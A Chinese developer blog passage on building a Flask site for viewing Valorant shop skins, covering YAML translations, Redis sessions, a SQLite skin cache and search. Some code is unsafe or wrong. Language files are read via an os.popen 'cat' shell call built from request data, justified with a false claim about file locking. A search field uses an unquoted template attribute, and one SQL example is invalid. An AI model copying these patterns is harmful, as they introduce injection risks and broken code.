最后还是选择了弹窗,一开始我直接把Soft UI的实例弹窗加进去,发现它不弹弹窗,就,什么也没有

后来我又找GPT去了,他告诉我可能是没有引入js,于是我就去cdnjs里面,找了bootstrap5的js引入后解决了问题,但是新的坑又来了

第二次踩坑:ID选择器变量

当我做好了以后,我发现一个问题就是,有的皮肤等级/炫彩点击就能弹出框框,有的就弹不出来,然后给我控制台报错

我一开始去问GPT,他说我可能是不存在id为这个东西的元素,我就奇了怪了,我说我命名有这东西,而且在F12控制台里面是能够找到对应的元素的,咋就不行

然后我改成在class里面写uuid,选择器改成了.uuid这样的格式,也是跟我说不行,我就非常纳闷

既然GPT给不了我答案,我就开始搜索,搜索着发现有一篇选择器说明的文章(找不到了,要不然我就附上链接了),里面写了选择器的格式规定

1
2
3
4
5
6
7
8
允许的字符:
- 0-9 数字
- A-Z 大写字母
- a-z 小写字母
- 中横线(-)
- 下划线(_)

特别规定:不能以数字开头

我再反过来看,我的这个不合法的选择器正好是以数字开头的,于是我采取了一个办法就是,在武器等级的前面加上weapon-头,在炫彩的前面加上chorma-头,这样才能够正常弹出我需要的框框

多语言

自大部分功能已经做完后,我就开始考虑多语言的事情了,因为有可能不只是我们在用,老外说不定看到了也想试一试(想Peach了),所以就开始做多语言了

因为json写起来很麻烦,而且不能够写注释,于是我用了yaml文档作为我的翻译索引文件的格式

我先按照我的网站,哪些地方的字是可以写其他语言的,大概构建了一下我的yaml文档格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
global:
title:
dailyshop: 每日商店
nightmarket: 折扣夜市
shopdefault: 我的商店
description:
line1: 瓦罗兰特(无畏契约)商店查看,让你不用登陆游戏也能够查看每日商店(仅支持国际服)
line2: 所有的登录名和密码服务器均不进行存取,仅用于登录
nav:
title: 瓦罗兰特商店查看
button:
dailyshop: 每日商店
nightmarket: 折扣夜市
account: 账户管理
authinfo: 认证信息
sponsor: 恰饭链接
logout: 退出登录

login:
front:
title: 登陆你的Riot账号
description:
line1: 服务器不对账号的登录名和密码进行存取
line2: 支持带有二步验证的账号,欢迎注重安全的各位使用!
form:
username:
title: 用户名
placeholder: 请输入你的用户名
password:
title: 密码
placeholder: 请输入密码
checkbox:
remember: 保持登录(减少登录次数)
nostorage: 我已明白网站仅会将我的登录名和密码用于登录我的账号
eula: 我同意<a href="/EULA" class="text-dark"><u>最终用户许可协议</u></a>
button:
login: 登录
alert:
nocheck: 请先正确输入用户名和密码,并勾选下面两项后再点登陆!
loginerror: 登录出错,请检查账号密码,然后重试!

mfa:
front:
title: 二步验证
description:
line1: 请前往你的绑定邮箱获取验证码后,在这里填入
line2: 服务器不对账号的登录名和密码进行存取
form:
code:
title: 二步验证码
placeholder: 请输入验证码
button:
confirm: 确认

market:
welcome:
# Welcome message format:
# <opening>{{player.name}}#{{player.tag}}
# <credit> {{player.vp}} VP & {{player.rp}} RP
opening: 欢迎回来
credit: 你现在持有
title: 今日商店 | Daily Shop
table:
skinname: 皮肤名称
skinimg: 皮肤图片
skincost: 皮肤售价
skinpreview: 皮肤预览
modal:
videonotavaliable: 当前浏览器无法预览视频
button:
close: 关闭

nightmarket:
welcome:
# Welcome message format:
# <opening>{{player.name}}#{{player.tag}}
# <credit> {{player.vp}} VP & {{player.rp}} RP
opening: 欢迎回来
credit: 你现在持有
notavaliable: 夜市还没有开放哦,先去看看每日商店吧!
title: 夜市 | Night Market
table:
skinname: 皮肤名称
skinimg: 皮肤图片
skincost: 皮肤售价
skinpreview: 皮肤预览
modal:
videonotavaliable: 当前浏览器无法预览视频
button:
close: 关闭

error:
error500:
tip: 500服务器错误
error: 肥肠抱歉,服务器发生了点错误
detail:
front: 服务器发生了以下错误:
solve: 你可以尝试点击下方的“重置网站数据”按钮来解决这个问题。<br>如果你已经点击了下面的按钮,但仍然出现了这个问题,请尝试清除浏览器的cookie来重置会话<br>如果上面这两种方法你都已经尝试过了,那么请带着此错误信息联系开发者!
button:
reset: 重置网站数据
error404:
tip: 404未找到
error: 你来到了一个无人所知的地方
button:
home: 返回首页

然后就开始在模板里面修改,因为yaml的读取是用这样的代码

1
2
3
import yaml

lang = yaml.load(var, Loader=yaml.FullLoader)

我一开始以为这个var可以是文件,结果发现读出来的lang的变量类型是str而不是dict,才发现应该读入文件

但是,每次加载页面的时候都要读入文件会导致读写吞吐量变大,而且万一前一个进程还没有释放文件,下一个进程又开始读取了就会出bug(特别是访问量很多的情况下),为了避免这个情况我就采用了linux自带的命令cat来完成这个事情

最后改成了这样子

1
lang=yaml.load(os.popen(f'cat lang/{str(request.accept_languages.best_match(app.config["BABEL_LANGUAGES"]))}.yml').read(), Loader=yaml.FullLoader)

虽然读写可能没有什么改善,但是至少不会锁文件,而且也不会爆内存(指读取后不释放变量)

然后写了几个语言的配置文件,分别是英语en、简中zh-CN、繁中zh-TW、日语(机翻)ja-JP,然后写了对应的yml文件放入lang文件夹

在上面我们做了皮肤预览的按钮,但是有些皮肤的等级会带有特殊的说明,例如

  • 黑市 暴徒 等級2:此造型設計會因你是攻擊方或守備方而變化
  • 靈爭鬪魂 幻象 等級2:每次擊殺敵人時,都會播放專屬視覺特效及音效
  • 781-A協定 幻象 等級5:在地化語音可能會因地區而異
  • 2021冠軍賽 暴徒 等級4(在對戰中取得最多擊殺時才會顯示光環)

这种写在武器等级后面的说明型的文字,如果写进按钮里面会非常的长。本来不做多语言的话就可以直接简单粗暴replace这些字符就行了,但是做了多语言就不可以这么做了

还有就是,在valorant-api返回的数据中,每个等级升级的内容都是用类似metadata的字符去说明的(下面是没做多语言之前直接写死的转换表)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
levelup_info = {
"EEquippableSkinLevelItem::VFX": '视觉效果',
"EEquippableSkinLevelItem::Animation": '视觉动画',
"EEquippableSkinLevelItem::Finisher": '终结特效',
"EEquippableSkinLevelItem::Voiceover": "本地化语音",
"EEquippableSkinLevelItem::SoundEffects": "音效",
"EEquippableSkinLevelItem::FishAnimation": "鱼缸动画",
"EEquippableSkinLevelItem::KillBanner": "击杀旗帜",
"EEquippableSkinLevelItem::TopFrag": "击杀光环",
"EEquippableSkinLevelItem::KillCounter": "击杀计数器",
"EEquippableSkinLevelItem::InspectAndKill": "击杀特效",
"EEquippableSkinLevelItem::KillEffect": "击杀特效&音效",
"EEquippableSkinLevelItem::AttackerDefenderSwap": "随阵营变色"
}

多语言下,我直接把他们归到了metadata字典里面去,写在对应语言的yaml文件中(下面为简中,但武器显示仍然为繁中,所以置换表为繁中,而转换表为简中)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
metadata:
level:
# This means what word "level" shoule be like in the language, you can find it in every upgradable skin
# example: https://valorant-api.com/v1/weapons/skinlevels/4c8a49bd-4118-9523-6612-4a924651b4a9
level: 等級
EEquippableSkinLevelItem::VFX: 视觉效果
EEquippableSkinLevelItem::Animation: 视觉动画
EEquippableSkinLevelItem::Finisher: 终结特效
EEquippableSkinLevelItem::SoundEffects: 音效
# For Protocol 781-A Level 5 https://valorant-api.com/v1/weapons/skinlevels/a117218e-4f0e-0cca-7758-7ea30b08ac05
EEquippableSkinLevelItem::Voiceover: 本地化语音
# For Neptune Level 2 https://valorant-api.com/v1/weapons/skinlevels/24e39414-4a8e-e800-1242-08bd94b5e3c4
EEquippableSkinLevelItem::FishAnimation: 鱼缸动画
# For Neptune Level 3 https://valorant-api.com/v1/weapons/skinlevels/7b2826b6-4771-7529-b656-b89b9c1d86b6
EEquippableSkinLevelItem::KillBanner: 击杀旗帜
# For Champions Set Level 4 https://valorant-api.com/v1/weapons/skinlevels/4c8a49bd-4118-9523-6612-4a924651b4a9
EEquippableSkinLevelItem::TopFrag: 击杀光环
# For RGX 11z Pro Set Level 5 https://valorant-api.com/v1/weapons/skinlevels/796cf1d2-4893-fee7-3401-beb277c726c8
EEquippableSkinLevelItem::KillCounter: 击杀计数器
# For Champions Set Level 2 https://valorant-api.com/v1/weapons/skinlevels/f96ed262-4280-2363-2542-38b5620bfbb5
EEquippableSkinLevelItem::InspectAndKill: 击杀特效
# For some skins https://valorant-api.com/v1/weapons/skinlevels/bf4489ad-4739-555c-2511-7cbcc503566c
EEquippableSkinLevelItem::KillEffect: 击杀特效&音效
# For Black.Market Set Level 2 https://valorant-api.com/v1/weapons/skinlevels/65c7df10-4a5e-7eaa-dc45-d0a46f147b18
EEquippableSkinLevelItem::AttackerDefenderSwap: 随阵营变色
description:
# All these sources to replace can be found at the links above
# You need to add ?language=<your lang> to check your language
# Available language: ar-AE / de-DE / en-US / es-ES / es-MX / fr-FR / id-ID / it-IT / ja-JP / ko-KR / pl-PL / pt-BR / ru-RU / th-TH / tr-TR / vi-VN / zh-CN / zh-TW
# For China mainland players, all the names of the guns are using zh-TW, cause this program does not support Valorant from Tencent.
# example: https://valorant-api.com/v1/weapons/skinlevels/a117218e-4f0e-0cca-7758-7ea30b08ac05?language=zh-CN
Voiceover: 在地化語音可能會因地區而異
KillEffect: 每次擊殺敵人時,都會播放專屬視覺特效及音效
AttackerDefenderSwap: 此造型設計會因你是攻擊方或守備方而變化
TopFrag: (在對戰中取得最多擊殺時才會顯示光環)

然后在模板文件的需要修改语言的对应位置,写好变量,就达成目的啦!

Redis存储session

每次部署的时候,因为我们使用的是filesystem作为session的存储对象,所以在PaaS平台里面,部署会清除之前的数据,导致用户需要重新登陆。因为Flask-Session是支持Redis作为存储的,而且我自己也用的比较多,所以我就做了一个可以使用Redis存储的功能

直接让用户把配置写在环境变量里面(README里面有写)

1
2
3
4
5
6
7
8
$ export SESSION_TYPE=filesystem|redis  # If you want to use redis u need to set it as redis, and configure the following items
$ export REDIS_URL=<Your Redis URL>
# If your redis url cannot be parsed
$ export REDIS_HOST=<Your Redis Host>
$ export REDIS_PORT=<Your Redis Port>
$ export REDIS_PASSWORD=<Your Redis Password>
# Optional
$ export REDIS_SSL=True # If your redis does not support this, please DO NOT configure it, or this will make your application timeout.

这样就可以在filesystemredis中进行选择,我用了upstash的免费Redis存储,一个月可以用1W条命令,但是但是,在我测试的过程中我发现,就我们群里的几个人用的情况下,一天都能去到300条命令,多的时候甚至去到了500,这算下来一个月根本不够用啊

于是我投向了Zeabur的Redis存储应用

第三次踩坑:Redis的SSL连接

我在Zeabur里面新建了一个Redis数据库后,就准备把数据库连接改过去了,反正原来的Redis里面没什么数据,尽早更换也不用迁移数据,让群友重新登陆一下就行了,不换还好,一换就出事了,直接timeout了,我以为是Zeabur的服务问题(因为它还在试运营阶段,平常确实有点小问题),就去问老板

我们排除了半个小时也没排出来问题,然后我也不好意思打扰人家,我就说明天再看吧,然后我自己又捣鼓了一会,然后突然想到一个很重要的问题:我让用户设置过SSL,而且我写的是数据库支持再开,否则别开,我就想Zeabur的数据库是不是不支持SSL(Upstash是支持的),然后我就关掉了SSL试了一下,果不其然就是SSL的问题

然后我就跟老板汇报了这个问题,这事也就这么结了

皮肤库功能

这个还是@Vanilluv跟我提出的(口头上),那既然有要求咱就做嘛

我最开始是用缓存的json文件来做的皮肤库,做了大概两天,反正做的UI跟手机的卡片那样(因为如果还是表格的话会很奇怪)

先注册两个新的路径

1
2
3
4
5
6
7
@ app.route('/library', methods=["GET"])
def library(page: int = 1):
pass

@ app.route('/library/page/<page>', methods=["GET"])
def lib_handler(page: int = 1):
return library(int(page))

这样可以直接用上上面的那个library函数,避免重复造轮子

就做了大概一个下午就做完了,然后就发现了很多问题

对你没看错,这里面个人喜爱随机选择默认(右下角那个叉叉)都没有被过滤掉,而且最恶心的是这个随机选择每个武器对应一个对象,也就是说有多少个武器就有多少个随机选择,我直接头大~

然后我就随手修了一下,但是只是去掉了随机选择,默认皮肤没去掉(后面会说怎么解决的,这是个坑),我用了过滤器但是就是没去掉,让我很难受

这里的uuid是皮肤的UUID不是武器的UUID,如果你看了上面获取商店那一节的话,你就会知道武器的UUID跟默认皮肤(等级1)的UUID不是一个

结果在我晚上遛狗的时候,我想到了新的解决方法

利用Sqlite数据库作为缓存

我是脑袋里面突然蹦出数据库这个东西的,本来我是不怎么用数据库的(因为没怎么碰过数据库语法),但是想到后面还要做搜索功能,还是弄个数据库吧

于是我现在Navicat里面模拟建立数据库,按照如下结构建立

  • UUID (TEXT, Unique)
  • name (TEXT)
  • name-zh-CN (TEXT)
  • name-zh-TW (TEXT)
  • name-ja-JP (TEXT)
  • data (TEXT)
  • data-zh-CN (TEXT)
  • data-zh-TW (TEXT)
  • data-ja-JP (TEXT)

分别解释一下,UUID我设定的是武器的UUID,name是武器的名字,对应四种语言;data是皮肤数据,也是对应四种语言

然后更改了一下缓存更新的机制,改成用数据库进行存储

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
import sqlite3
import requests
import json
import os
import time

sc_link = 'https://valorant-api.com/v1/weapons/skins?language=zh-CN'
tc_link = 'https://valorant-api.com/v1/weapons/skins?language=zh-TW'
jp_link = 'https://valorant-api.com/v1/weapons/skins?language=ja-JP'
en_link = 'https://valorant-api.com/v1/weapons/skins'

sc_levels_link = 'https://valorant-api.com/v1/weapons/skinlevels?language=zh-CN'
tc_levels_link = 'https://valorant-api.com/v1/weapons/skinlevels?language=zh-TW'
jp_levels_link = 'https://valorant-api.com/v1/weapons/skinlevels?language=ja-JP'
en_levels_link = 'https://valorant-api.com/v1/weapons/skinlevels'

Linkmap = [
('en', en_link),
('zh-CN', sc_link),
('zh-TW', tc_link),
('ja-JP', jp_link),
]

LinkLevelsmap = [
('en', en_levels_link),
('zh-CN', sc_levels_link),
('zh-TW', tc_levels_link),
('ja-JP', jp_levels_link),
]

def UpdateCache():
if not os.path.exists('assets/db/data.db'):
with open('assets/db/data.db', 'wb') as f:
f.close()
conn = sqlite3.connect('assets/db/data.db')
c = conn.cursor()
c.execute('CREATE TABLE skins (uuid TEXT PRIMARY KEY, name TEXT, "name-zh-CN" TEXT, "name-zh-TW" TEXT, "name-ja-JP" TEXT, data TEXT, "data-zh-CN" TEXT, "data-zh-TW" TEXT, "data-ja-JP" TEXT)')
c.execute('CREATE TABLE skinlevels (uuid TEXT PRIMARY KEY, name TEXT, "name-zh-CN" TEXT, "name-zh-TW" TEXT, "name-ja-JP" TEXT, data TEXT, "data-zh-CN" TEXT, "data-zh-TW" TEXT, "data-ja-JP" TEXT)')
conn.commit()
conn.close()



for lang, link in Linkmap:
print('Updating Skins Data of ' + lang)
conn = sqlite3.connect('assets/db/data.db')

# with open('data.json', encoding='utf8') as f:
# data = json.loads(f.read())
data = requests.get(link).json()

c = conn.cursor()
if lang == 'en':
for i in data['data']:
try:
c.execute(f'INSERT INTO skins ([uuid], name, data) VALUES (?, ?, ?)', (
i["uuid"], i["displayName"], json.dumps(i)))
conn.commit()
except sqlite3.IntegrityError:
c.execute(f'UPDATE skins SET name = ?, data = ? WHERE uuid = ?',
(i["displayName"], json.dumps(i), i["uuid"]))
conn.commit()
else:
for i in data['data']:
c.execute(f'UPDATE skins SET "name-{lang}" = ?, "data-{lang}" = ? WHERE uuid = ?',
(i["displayName"], json.dumps(i), i["uuid"]))
conn.commit()

# Delete Useless Data
# For example: Random Favorite Skin
fliter = ['Random Favorite Skin',
"Standard Classic", "Standard Shorty", "Standard Frenzy", "Standard Ghost", "Standard Sheriff",
"Standard Stinger", "Standard Spectre",
"Standard Bucky", "Standard Judge",
"Standard Bulldog", "Standard Guardian", "Standard Phantom", "Standard Vandal",
"Standard Marshal", "Standard Operator",
"Standard Ares", "Standard Odin",
"Melee"]
conn = sqlite3.connect('assets/db/data.db')
c = conn.cursor()
for ignore in fliter:
c.execute('DELETE FROM skins WHERE name = ?', (ignore,))
conn.commit()
c.close()

for lang, link in LinkLevelsmap:
print('Updating Skin Levels Data of ' + lang)
conn = sqlite3.connect('assets/db/data.db')

# with open('data.json', encoding='utf8') as f:
# data = json.loads(f.read())
data = requests.get(link).json()

c = conn.cursor()
if lang == 'en':
for i in data['data']:
try:
c.execute(f'INSERT INTO skinlevels ([uuid], name, data) VALUES (?, ?, ?)', (
i["uuid"], i["displayName"], json.dumps(i)))
conn.commit()
except sqlite3.IntegrityError:
c.execute(f'UPDATE skinlevels SET name = ?, data = ? WHERE uuid = ?',
(i["displayName"], json.dumps(i), i["uuid"]))
conn.commit()
else:
for i in data['data']:
c.execute(f'UPDATE skinlevels SET "name-{lang}" = ?, "data-{lang}" = ? WHERE uuid = ?',
(i["displayName"], json.dumps(i), i["uuid"]))
conn.commit()
c.close()

def UpdateCacheTimer():
while True:
UpdateCache()
time.sleep(3600)

if __name__ == '__main__':
UpdateCache()

在这里面,你会发现我多了一节用来清理无用数据(即上面提到的随机最爱和默认)的地方,之前我是用UUID,但是UUID实在是很难弄(你不知道对不对),所以我用武器的英文名作为判断

一开始我没有加入Standard这个单词在里面的,当时没想到会有这个,结果发现还是没有被去掉,然后看了下后台的数据才发现是有标准这个字段的

然后我才把Standard给加进去,才可以正常处理这些默认皮肤

皮肤库搜索功能

说白了就是用sqlite3的搜索功能,这也是我最后选择数据库的原因,如果要手解json的话很麻烦,而且程序运行很耗时间,所以直接用数据库语句就行了

1
SELECT uuid, name, data FROM skins WHERE name = %?%

百分号的作用就是通配符,虽然大部分的皮肤名字都是在尾巴,但是也不排除在前面(例如国服翻译的暴徒.exe,国际服台版写的是.exe 暴徒

在html中新建一个搜索框(按钮里面当然少不了瓦的标标)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<section>
<div class="container py-4">
<div class="row">
<div class="col-lg-7 mx-auto d-flex justify-content-center flex-column">
<form role="form" name="search" method="post" autocomplete="off" action="/library">
<div class="row">
<label>{{lang.library.form.search.title}}</label>
<div class="input-group">
{% if not query %}
<input type="text" class="form-control" placeholder="{{lang.library.form.search.placeholder}}"
name="query">
{% else %}
<input type="text" class="form-control" placeholder="{{lang.library.form.search.placeholder}}" value={{query}}
name="query">
{% endif %}
</div>
</div>
<br>
<div class="row">
<div class="col-md-12">
<button type="submit" class="btn bg-gradient-dark w-100"><img
src="/assets/img/img-navi-valorant-white.svg">{{lang.library.button.search}}</button>
</div>
</div>
</div>
</form>
</div>
</div>
</div>

也是用表单的方式,把搜索的内容提交到后端进行处理,后端进行字符串的拼接

1
2
3
4
query = '%' + request.form.get('query') + '%'# 加入通配符
c.execute(f'SELECT uuid, "name-{dictlang}", "data-zh-TW" FROM skins WHERE "name-zh-CN" LIKE ? OR "name-zh-TW" LIKE ?', (query, query))# 简中繁中一起搜索
conn.commit()# 提交语句运行
skins = c.fetchall()# 获取结果

因为武器内容的解析,搜索出来的结果因为语言的问题(简中繁中)所以不能用之前的Weaponlib类,我就直接把我那边的代码复制过来小改了一下,就丢进去用了

把武器进行解析,然后返回给render_template进行渲染就行了

附:数据库样本 -> VSC/data.db at dev · GamerNoTitle/VSC · GitHub

皮肤库根据武器进行搜索

这个就是加一大排按钮,然后点一下切换武器种类,不过做这个也挺麻烦的,因为近战武器它没有一个统一的称呼(例如个人近战单位 太极扇之类的),所以不能通过名称作为索引去做这个近战的分类

然后我发现了一个地方可以判断是否为近战,首先,下面是太极扇的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
{
"uuid": "2e4300f9-49b3-6bbe-af7c-94a6f56ff12e",
"displayName": "澄湖潋滟",
"themeUuid": "1468b29a-4a04-a34d-5b90-5da163f74e00",
"contentTierUuid": "e046854e-406c-37f4-6607-19a9ba8426fc",
"displayIcon": "https://media.valorant-api.com/weaponskins/2e4300f9-49b3-6bbe-af7c-94a6f56ff12e/displayicon.png",
"wallpaper": null,
"assetPath": "ShooterGame/Content/Equippables/Melee/Koi/Melee_Koi_PrimaryAsset",
"chromas": [
{
"uuid": "2733ffb9-4285-f7cf-e01e-dbb9314f3a96",
"displayName": "澄湖潋滟",
"displayIcon": null,
"fullRender": "https://media.valorant-api.com/weaponskinchromas/2733ffb9-4285-f7cf-e01e-dbb9314f3a96/fullrender.png",
"swatch": "https://media.valorant-api.com/weaponskinchromas/2733ffb9-4285-f7cf-e01e-dbb9314f3a96/swatch.png",
"streamedVideo": null,
"assetPath": "ShooterGame/Content/Equippables/Melee/Koi/Chromas/Standard/Melee_Koi_Standard_PrimaryAsset"
},
{
"uuid": "f6eb564b-4b08-ad4c-6704-42bf4e91453e",
"displayName": "澄湖潋滟 等级2\n(炫彩1 暗色)",
"displayIcon": null,
"fullRender": "https://media.valorant-api.com/weaponskinchromas/f6eb564b-4b08-ad4c-6704-42bf4e91453e/fullrender.png",
"swatch": "https://media.valorant-api.com/weaponskinchromas/f6eb564b-4b08-ad4c-6704-42bf4e91453e/swatch.png",
"streamedVideo": "https://valorant.dyn.riotcdn.net/x/videos/release-06.08/8a360856-412c-d772-c116-ca92aed3d809_default_universal.mp4",
"assetPath": "ShooterGame/Content/Equippables/Melee/Koi/Chromas/v1/Melee_Koi_v1_PrimaryAsset"
}
],
"levels": [
{
"uuid": "ef67d6cb-4f7f-28ce-2973-cf90a97ae54d",
"displayName": "澄湖潋滟",
"levelItem": null,
"displayIcon": "https://media.valorant-api.com/weaponskinlevels/ef67d6cb-4f7f-28ce-2973-cf90a97ae54d/displayicon.png",
"streamedVideo": "https://valorant.dyn.riotcdn.net/x/videos/release-06.08/7d2d392a-4b3f-7cea-3573-ffaf12b25589_default_universal.mp4",
"assetPath": "ShooterGame/Content/Equippables/Melee/Koi/Levels/Melee_Koi_Lv1_PrimaryAsset"
},
{
"uuid": "99a21016-41bf-2dfe-43e6-6f9ffe50d8c0",
"displayName": "澄湖潋滟 等级2",
"levelItem": "EEquippableSkinLevelItem::Animation",
"displayIcon": null,
"streamedVideo": "https://valorant.dyn.riotcdn.net/x/videos/release-06.08/229677bc-44b5-4896-131e-8097518dd336_default_universal.mp4",
"assetPath": "ShooterGame/Content/Equippables/Melee/Koi/Levels/Melee_Koi_Lv2_PrimaryAsset"
}
]
},

你会发现在assetPath里面有很明显的Melee字样,为了准确,我这里把ShooterGame/Content/Equippables/Melee/作为判断条件,如果含有这个字段则认为是近战武器,实际证明也是可行的

我们在更新缓存那一节新增一段代码,写入我们的近战武器数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
c.execute('CREATE TABLE melee (uuid TEXT PRIMARY KEY, name TEXT, "name-zh-CN" TEXT, "name-zh-TW" TEXT, "name-ja-JP" TEXT, data TEXT, "data-zh-CN" TEXT, "data-zh-TW" TEXT, "data-ja-JP" TEXT)')# 建表
if 'ShooterGame/Content/Equippables/Melee/' in json.dumps(i):
try:
c.execute(f'INSERT INTO melee ([uuid], name, data) VALUES (?, ?, ?)', (
i["uuid"], i["displayName"], json.dumps(i)))
conn.commit()
except sqlite3.IntegrityError:
c.execute(f'UPDATE melee SET name = ?, data = ? WHERE uuid = ?',
(i["displayName"], json.dumps(i), i["uuid"]))
conn.commit()
except sqlite3.OperationalError:
c.execute(
'CREATE TABLE melee (uuid TEXT PRIMARY KEY, name TEXT, "name-zh-CN" TEXT, "name-zh-TW" TEXT, "name-ja-JP" TEXT, data TEXT, "data-zh-CN" TEXT, "data-zh-TW" TEXT, "data-ja-JP" TEXT)')
c.execute(f'INSERT INTO melee ([uuid], name, data) VALUES (?, ?, ?)', (
i["uuid"], i["displayName"], json.dumps(i)))
conn.commit()

这样,我们把所有的数据存入melee表中,然后直接获取melee表中所有的数据就是我们的近战武器了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
if request.args.get('query') not in ['近战武器', '近戰武器', 'Melee', '近接武器']:
# 非近战武器,正常查询
if lang == 'en':
# Get all skins' uuid & name
c.execute(
'SELECT uuid, name, data FROM skins WHERE name LIKE ?', (query,))
elif lang == 'zh-CN' or lang == 'zh-TW':
c.execute(
f'SELECT uuid, "name-{dictlang}", "data-zh-TW" FROM skins WHERE "name-zh-CN" LIKE ? OR "name-zh-TW" LIKE ?', (query, query))
else:
c.execute(
f'SELECT uuid, "name-{dictlang}", "data-{dictlang}" FROM skins WHERE "name-{lang}" like ?', (query,))
conn.commit()
else:
# 近战武器,直接获取melee表
if lang == 'en':
# Get all skins' uuid & name
c.execute(
'SELECT uuid, name, data FROM melee')
elif lang == 'zh-CN' or lang == 'zh-TW':
c.execute(
f'SELECT uuid, "name-{dictlang}", "data-zh-TW" FROM melee')
else:
c.execute(
f'SELECT uuid, "name-{dictlang}", "data-{dictlang}" FROM melee')
conn.commit()
skins = c.fetchall()

第四次踩坑:翻译问题

做完了分类以后,我逐个去尝试,发现一个问题

没错,捍卫者这一分类下出现了一把R8,然后我去找是什么情况,结果一查才知道这把R8的翻译叫做戍卫者

那没办法了,捍卫者这把枪的索引就只能换成繁中了(因为不冲突),想看看是啥情况的可以自己把query后面的参数改成戍卫去试试

翻译对照表

做这个功能的原因是我现在游戏内用的英语,然后如果刚进游戏没看到是什么地图,而是在选英雄的时候看地图的时候,就会不知道是什么地图,所以加了这个功能

因为加了地图的对照表,所以干脆就把所有的东西都加进去,用不同的端点区分

现在更新缓存那里把其他的内容也加入数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
LinkAgentsmap = [
('en', 'https://valorant-api.com/v1/agents'),
('zh-CN', 'https://valorant-api.com/v1/agents?language=zh-CN'),
('zh-TW', 'https://valorant-api.com/v1/agents?language=zh-TW'),
('ja-JP', 'https://valorant-api.com/v1/agents?language=ja-JP'),
]

LinkMapsmap = [
('en', 'https://valorant-api.com/v1/maps'),
('zh-CN', 'https://valorant-api.com/v1/maps?language=zh-CN'),
('zh-TW', 'https://valorant-api.com/v1/maps?language=zh-TW'),
('ja-JP', 'https://valorant-api.com/v1/maps?language=ja-JP'),
]

LinkWeaponsmap = [
('en', 'https://valorant-api.com/v1/weapons'),
('zh-CN', 'https://valorant-api.com/v1/weapons?language=zh-CN'),
('zh-TW', 'https://valorant-api.com/v1/weapons?language=zh-TW'),
('ja-JP', 'https://valorant-api.com/v1/weapons?language=ja-JP'),
]

c.execute(
'CREATE TABLE agents (uuid TEXT PRIMARY KEY, name TEXT, "name-zh-CN" TEXT, "name-zh-TW" TEXT, "name-ja-JP" TEXT)')
c.execute(
'CREATE TABLE weapons (uuid TEXT PRIMARY KEY, name TEXT, "name-zh-CN" TEXT, "name-zh-TW" TEXT, "name-ja-JP" TEXT)')
c.execute(
'CREATE TABLE maps (uuid TEXT PRIMARY KEY, name TEXT, "name-zh-CN" TEXT, "name-zh-TW" TEXT, "name-ja-JP" TEXT)')

for lang, link in LinkAgentsmap:
print('Updating Agents Data of ' + lang)
conn = sqlite3.connect('db/data.db')
data = requests.get(link).json()

c = conn.cursor()
if lang == 'en':
for i in data['data']:
if i['isPlayableCharacter']: # There's an unplayable SOVA in data
try:
c.execute(f'INSERT INTO agents ([uuid], name) VALUES (?, ?)', (
i["uuid"], i["displayName"]))
conn.commit()
except sqlite3.IntegrityError:
c.execute(f'UPDATE agents SET name = ? WHERE uuid = ?',
(i["displayName"], i["uuid"]))
conn.commit()
else:
if i['isPlayableCharacter']:
for i in data['data']:
c.execute(f'UPDATE agents SET "name-{lang}" = ? WHERE uuid = ?',
(i["displayName"], i["uuid"]))
conn.commit()
c.close()

for lang, link in LinkMapsmap:
print('Updating Maps Data of ' + lang)
conn = sqlite3.connect('db/data.db')
data = requests.get(link).json()

c = conn.cursor()
if lang == 'en':
for i in data['data']:
try:
c.execute(f'INSERT INTO maps ([uuid], name) VALUES (?, ?)', (
i["uuid"], i["displayName"]))
conn.commit()
except sqlite3.IntegrityError:
c.execute(f'UPDATE maps SET name = ? WHERE uuid = ?',
(i["displayName"], i["uuid"]))
conn.commit()
else:
for i in data['data']:
c.execute(f'UPDATE maps SET "name-{lang}" = ? WHERE uuid = ?',
(i["displayName"], i["uuid"]))
conn.commit()
c.close()

for lang, link in LinkWeaponsmap:
print('Updating Weapons Data of ' + lang)
conn = sqlite3.connect('db/data.db')
data = requests.get(link).json()

c = conn.cursor()
if lang == 'en':
for i in data['data']:
try:
c.execute(f'INSERT INTO weapons ([uuid], name) VALUES (?, ?)', (
i["uuid"], i["displayName"]))
conn.commit()
except sqlite3.IntegrityError:
c.execute(f'UPDATE weapons SET name = ? WHERE uuid = ?',
(i["displayName"], i["uuid"]))
conn.commit()
else:
for i in data['data']:
c.execute(f'UPDATE weapons SET "name-{lang}" = ? WHERE uuid = ?',
(i["displayName"], i["uuid"]))
conn.commit()
c.close()

说白了就是照葫芦画瓢,因为之前做过了

在主程序里面加入数据库查询的功能就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
